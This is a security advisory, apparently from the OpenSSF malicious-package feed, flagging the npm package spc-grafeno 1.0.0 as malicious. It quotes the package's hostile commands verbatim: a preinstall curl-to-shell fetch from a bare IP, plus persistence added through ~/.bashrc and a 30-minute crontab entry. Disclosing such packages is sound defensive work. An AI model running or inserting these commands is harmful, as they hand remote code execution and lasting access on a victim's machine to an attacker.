OpenSSF/OSV advisory MAL-2026-15522 confirms this npm version as malicious. The package's preinstall lifecycle script runs `curl -s 216.126.236.46/x.sh | sh` via /bin/bash at `npm install` time, executing attacker-controlled code fetched from a bare IP over plain HTTP. The same script appends the identical curl-to-shell command to the installer's ~/.bashrc and adds a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, causing the remote payload to be re-fetched and executed on...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in spc-grafeno (npm)
Details
The package's preinstall lifecycle script runs `curl -s 216.126.236.46/x.sh | sh` via /bin/bash at `npm install` time, executing attacker-controlled code fetched from a bare IP over plain HTTP. The same script appends the identical curl-to-shell command to the installer's ~/.bashrc and adds a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, causing the remote payload to be re-fetched and executed on every new interactive shell and every 30 minutes thereafter. This yields full remote code execution on the installer's machine at install time plus durable persistence beyond the install.
Decision reason
OpenSSF Malicious Packages via OSV confirms spc-grafeno@1.0.0 as malicious (MAL-2026-15522): Malicious code in spc-grafeno (npm)